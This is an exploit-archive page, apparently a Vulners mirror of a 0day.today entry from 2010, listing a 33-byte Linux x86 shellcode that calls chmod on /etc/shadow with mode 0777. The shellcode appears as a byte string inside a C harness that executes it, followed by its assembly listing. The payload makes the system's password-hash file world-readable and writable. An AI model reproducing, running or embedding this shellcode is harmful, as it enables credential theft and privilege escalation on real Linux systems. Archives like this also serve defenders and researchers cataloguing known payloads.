Lucene search
K

linux/x86 chmod("/etc/shadow", 0777) Shellcode 33 Bytes

🗓️ 18 Apr 2010 00:00:00Reported by sm0kType 
zdt
 zdt
🔗 0day.today👁 20 Views

Linux/x86 chmod("/etc/shadow", 0777) Shellcod

Code
=======================================================
linux/x86 chmod("/etc/shadow", 0777) Shellcode 33 Bytes
=======================================================

# [email protected]
# http://plasticsouptaste.blogspot.com
# Name: 33 bytes chmod("/etc/shadow", 0777) shellcode
# Platform: Linux x86
 
#include "stdio.h"
 
int main(int argc, char *argv[])
{
 
char shellcode[]
="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";
 
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
 
return 0;
}
 
/*
xor %eax,%eax
push %eax
mov $0xf,%al
push $0x776f6461
push $0x68732f63
push $0x74652f2f
mov %esp,%ebx
xor %ecx,%ecx
mov $0x1ff,%cx
int $0x80
inc %eax
int $0x80
 
*/
-- 
Blog transitio?thanolique contemporain :
http://plasticsouptaste.blogspot.com/!!



#  0day.today [2018-01-24]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Apr 2010 00:00Current
7High risk
Vulners AI Score7
20